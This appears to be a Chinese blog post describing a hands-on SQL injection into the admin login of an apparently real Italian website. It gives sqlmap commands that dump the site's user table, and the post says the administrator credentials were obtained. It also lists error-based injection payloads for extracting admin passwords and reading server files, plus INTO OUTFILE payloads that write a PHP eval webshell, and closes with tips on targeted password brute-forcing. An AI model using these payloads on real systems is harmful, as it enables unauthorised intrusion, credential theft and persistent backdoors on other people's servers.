所有话题标签: |
0x01 前言
0x02 Sqlmap注入后台登陆框
然后我们用Burpsuite抓取登录时的POST数据包,也可以用Firefox和Google浏览器开源插件HTTP-Header-Live手工测试。
-
https://github.com/Nitrama/HTTP-Header-Live/
将上边抓取到的POST数据包所有内容保存到文本文件x.txt里,然后利用sqlmap神器中的-r参数来进行测试,具体的参数不做详细说明,请自行查阅sqlmap帮助手册。
sqlmap.py -r x.txt -p username --dbs
sqlmap.py -r x.txt --dbs
数据库已经列出来了,继续执行以下命令来跑下sinpf_sinpf数据库的所有表名。
sqlmap.py -r x.txt -D sinpf_sinpf --tables
指定数据库的表名都列出来了,继续执行以下命令来跑下sinpf_sinpf数据库user表的所有列名。
sqlmap.py -r x.txt -D sinpf_sinpf -T user --columns
指定数据库的表名、列名都已经出来了,最后跑下sinpf_sinpf数据库user表username,userpassword列名里的内容。
sqlmap.py -r x.txt -D sinpf_sinpf -T user -C username,userpassword --dump
这里基本就已经完成了这个后台登录框POST注入漏洞的演示,因为我们已经得到了网站后台管理员的登录账号和密码等信息,所以也就没有再继续进行GetShell操作了!!!
0x03 手工注入后台登陆框语句
'and(select 1 from(select count(*),concat((select concat(version(),0x20,user(),0x20,database()) from information_schema.tables limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
'and(select 1 from(select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
'and(select 1 from(select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
'and(select 1 from(select count(*),concat((select concat(column_name) from information_schema.columns where table_name=0x6163636F756E74 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
'and(select 1 from(select count(*),concat((select concat(column_name) from information_schema.columns where table_name=0x6163636F756E74 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
'and(select 1 from(select count(*),concat((select concat(username,0x20,password) from admin limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
'and(select 1 from(select count(*),concat((select concat(username,0x20,password) from admin limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'
(5) 读取指定文件
1) 常规读取使用这种即可:
'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'
'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file/*50001file*/(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'
(6) 导出WebShell
1) 常规导出使用这种即可:
'or 1 into outfile 'C:\phpStudy\WWW\shell.php' fields terminated by " phpinfo(); "#
'or 1=1 limit 0,1 into outfile 'C:\phpStudy\WWW\bypass.php' fields terminated by 0x3c3f706870206576616c28245f504f53545b636d645d293f3e%23
0x04 Sqlmap Post注入三种方式
(1) 指定数据包方式(-r)
-
post的body是这种形式:userid=&userpass=
root@kali:~# sqlmap -r post.txt -p "userid"
(2) 指定一个参数方式(--data)
-
post的body是这种形式:
root@kali:~# sqlmap -u "http://192.168.1.108/kr/Main/Login" --data "name=value"
--c7eb38bf-7ea1-4fbc-836a-47ceafdfd30a
Content-Disposition: form-data; name="page"
Content-Length: 1
1
--c7eb38bf-7ea1-4fbc-836a-47ceafdfd30a
Content-Disposition: form-data; name="search"
Content-Length: 1
qqqqq
(3) 自动搜索表单方式(--forms)
-
post的body是这种形式:userid=&userpass=
root@kali:~# sqlmap -u "http://192.168.1.108/kr/Main/Login" --forms
注:多注意观察下网站域名、管理员邮箱以及数据库/表/列名和管理员用户/密码等信息是否存在一定关联性,可以多搜集一些相关信息,有的管理员为了方便记忆而在多处使用一样或相似的字符,如:网站后台目录、用户/密码、数据库/表/列名等等。也可以根据我们搜集到的这些信息组合生成有针对性测试的爆破字典对目标网站进行安全测试,有时候多注意这些细节地方可能会有小惊喜哦!
如果对你有所帮助,点个分享、赞、在看呗!
本文始发于微信公众号(潇湘信安):意大利后台登录框POST注入实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论